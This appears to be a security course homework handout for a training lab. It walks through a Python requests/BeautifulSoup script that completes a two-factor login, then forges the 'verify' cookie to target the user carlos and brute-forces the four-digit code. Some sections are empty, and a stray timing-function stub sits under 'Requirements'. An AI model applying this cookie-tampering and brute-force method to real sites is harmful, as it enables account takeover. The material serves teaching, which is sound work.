2fa-broken-logic

In this level, the login process is protected by a 2-factor authentication flow. Once a user submits a correct set of credentials to the /login path, they are redirected via HTTP to the /login2 path that handles the second factor. As part of the redirection, an HTTP cookie named 'verify' is set that is used to identify the authenticated user to the /login2 path. Visiting the /login2 path with this cookie will cause a 2FA code to be emailed to the user specified in the cookie. The /login2 page implements a form that the user then fills with the 2FA code. Successful submission of the code logs the user in.

There are several main flaws with the process:

To attack the process, you will:

You will be writing your attack in Python using the requests and BeautifulSoup packages.

cd <path_to_your_git_repository>
mkdir hw1
cd hw1
requests
bs4
virtualenv -p python3 env
source env/bin/activate
pip install -r requirements.txt

Create an initial Python script using the code below called hw1.py that programmatically logs in as wiener:peter, requests a 2FA code, checks wiener's e-mail for the code, and then submits the code to successfully log-in.

The program begins by visiting the login page and obtaining the "Exploit Link" which is used to access the email of a particular user to get the 2FA code. Note that we won't need this link in our attack as we'll be brute-forcing the code.

hw1.py

import sys
import requests
import re
from bs4 import BeautifulSoup

site = sys.argv[1]
if 'https://' in site:
    site = site.rstrip('/').replace('https://','')

s = requests.Session()
login_url = f'https://{site}/login'
resp = s.get(login_url)
soup = BeautifulSoup(resp.text,'html.parser')
email_url = soup.find('a', {'id':'exploit-link'}).get('href')

Then, we create a dictionary containing the user credentials we're given and submit it to the login form. We set the keyword argument allow_redirects in our POST request to false so we can examine the redirect response. In this case, the response code (resp.status_code) is printed out along with the verify cookie that is set in the session as part of the response.

logindata = {
    'username' : 'wiener',
    'password' : 'peter'
}
print(f'Logging in as wiener:peter with allow_redirects=False')
resp = s.post(login_url, data=logindata, allow_redirects=False)
print(f'Response status_code: {resp.status_code}')
print(f'Response headers show that username part of cookie sent to a redirect /login2 {resp.headers}')
print(f"Session cookies are now: {s.cookies['verify']}")

Next, we visit the URL given in the redirection (/login2) to get the 2FA code emailed to us.

print(f'Visit /login2 now as wiener:peter to get 2FA code sent via email, then retrieve it :')
login2_url = f'https://{site}/login2'
resp = s.get(login2_url)
soup = BeautifulSoup(resp.text,'html.parser')

We next visit our "email" and pull out the 4-digit 2FA code that has been sent.

print(f'Getting 2FA from email url {email_url} :')
resp = s.get(email_url)
soup = BeautifulSoup(resp.text,'html.parser')
email = soup.find('pre').text
code = re.split('[ \.]',email)[4]
print(f'Code is {code}')

We then construct a dictionary to submit the code to /login2 in order to complete our authentication. The code checks for success by again examining the HTTP status code to ensure it is a redirection that sends us to the landing page. Finally, we visit our account profile page (/my-account?id=wiener) to validate our successful authentication.

print(f'Now use it to post mfa-code to /login2 :')
login2data = {
        'mfa-code' : code
}
resp = s.post(login2_url, data=login2data, allow_redirects=False)

if resp.status_code == 302:
    print(f'2fa valid with response code {resp.status_code}')
    print(f'Redirect to landing page with headers {resp.headers}')
print(f'Grab My Account page for wiener:')
account_url = f'https://{site}/my-account?id=wiener'
resp = s.get(account_url)
print(resp.text)

Run the program on your site to show that you can login with the given account credentials.

python hw1.py https://.../
...
   <h1>My Account</h1>
   <div id=account-content>
      <p>Your username is: wiener</p>
      <p>Your email is: wiener@a...web-security-academy.net</p>
...

Then, add, commit and push this initial script and its requirements.txt into your repository.

git add .
git commit -m "Initial script"
git push

Ensure that your local Python environment in env has not been added to the repository. It will be ignored as long as you've properly included it in the .gitignore file as instructed when you set up your course git repository.

The website has a vulnerability in that the /login2 path assumes that the user specified in the 'verify' cookie has already authenticated with their password. Unfortunately, the client browser can modify this cookie. We will be modifying the Python program to tamper with the cookie that is returned from the site in order to impersonate the carlos account. Doing so will send a 2FA code to carlos that we can then brute-force in order to login as carlos. An example of deleting the cookie from your session and creating a new cookie (specifying the cookie's domain, name, and value) is shown below.

# Delete the verify cookie for wiener
del s.cookies['verify']
# Create a new one specifying carlos
cookie_obj = requests.cookies.create_cookie(domain=site, name='verify', value='carlos')
# Add cookie to the session
s.cookies.set_cookie(cookie_obj)

Modify hw1.py to implement a program that issues a 2FA code to the account carlos and then performs a brute-force attack on it to successfully authenticate as the account. Have your program print out the 2FA code that is successful. For testing purposes only, have the program visit the account's profile page in order to verify you have solved the level. Once verified, for grading purposes, comment out this request out so that it does not automatically solve the grader's level.

Note that when brute-forcing the 2FA code, you must supply 4-digits. For smaller numbers, this requires the code to be zero-padded. You can perform this via the zfill() method as done in the code below.

for i in range(10):
  print(str(i).zfill(4))

Requirements

def run_test(login, password, url, num_tests):                                  
    """Records timing data for an individual attack
    Args:
        login (str): login to test
        password (str): password to test
        url (str): URL to test
        num_tests (int): number of tests to run
    Returns:
        float: Average time taken across tests                 
    """                                                                         

Rubric